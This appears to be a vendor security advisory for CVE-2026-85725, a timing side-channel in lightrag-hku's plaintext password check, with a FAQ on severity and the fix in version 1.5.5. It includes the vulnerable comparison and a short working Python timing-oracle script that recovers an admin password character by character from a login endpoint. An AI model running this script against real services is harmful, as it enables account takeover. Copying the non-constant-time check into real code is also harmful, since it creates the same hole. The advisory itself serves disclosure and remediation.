CVE-2026-85725

lightrag-hku: Plaintext Passwords Compared Without Constant-Time Function

# lightrag/api/passwords.py:13-26
def verify_password(plain_password: str, stored_password: str) -> bool:
    if stored_password.startswith("{bcrypt}"):
        ...
        return bcrypt.checkpw(...)    # constant-time  OK

    return stored_password == plain_password  # NOT constant-time  VULN
    #   Python == short-circuits on first mismatched byte
    #   Timing leaks: password length + individual characters

# Timing oracle: recover password char-by-char
import httpx, time, string

TARGET = "http://<TARGET>:9621/login"
USER   = "admin"

def measure(pwd: str) -> float:
    t = time.perf_counter()
    httpx.post(TARGET, data={"username": USER, "password": pwd})
    return time.perf_counter() - t

known = ""
for _ in range(32):
    best = max(string.printable,
               key=lambda c: sum(measure(known+c+"A"*20) for _ in range(10)))
    known += best
    print(f"Recovered: {known}")

Observable timing discrepancy. Attackers with low-latency access can recover plaintext passwords character by character without triggering brute-force limits. Only affects deployments using unhashed passwords in AUTH_ACCOUNTS.

CVE-2026-85725 has a CVSS score of 5.9 (Medium). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (1.5.5); upgrading removes the vulnerable code path.

Kodem intelligence

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1. What is CVE-2026-85725? CVE-2026-85725 is a medium-severity security vulnerability in lightrag-hku (pip), affecting versions <= 1.5.4. It is fixed in 1.5.5.
2. How severe is CVE-2026-85725? CVE-2026-85725 has a CVSS score of 5.9 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of lightrag-hku are affected by CVE-2026-85725? lightrag-hku (pip) versions <= 1.5.4 is affected.
4. Is there a fix for CVE-2026-85725? Yes. CVE-2026-85725 is fixed in 1.5.5. Upgrade to this version or later.
5. Is CVE-2026-85725 exploitable, and should I be worried? Whether CVE-2026-85725 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-85725 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-85725? Upgrade lightrag-hku to 1.5.5 or later.

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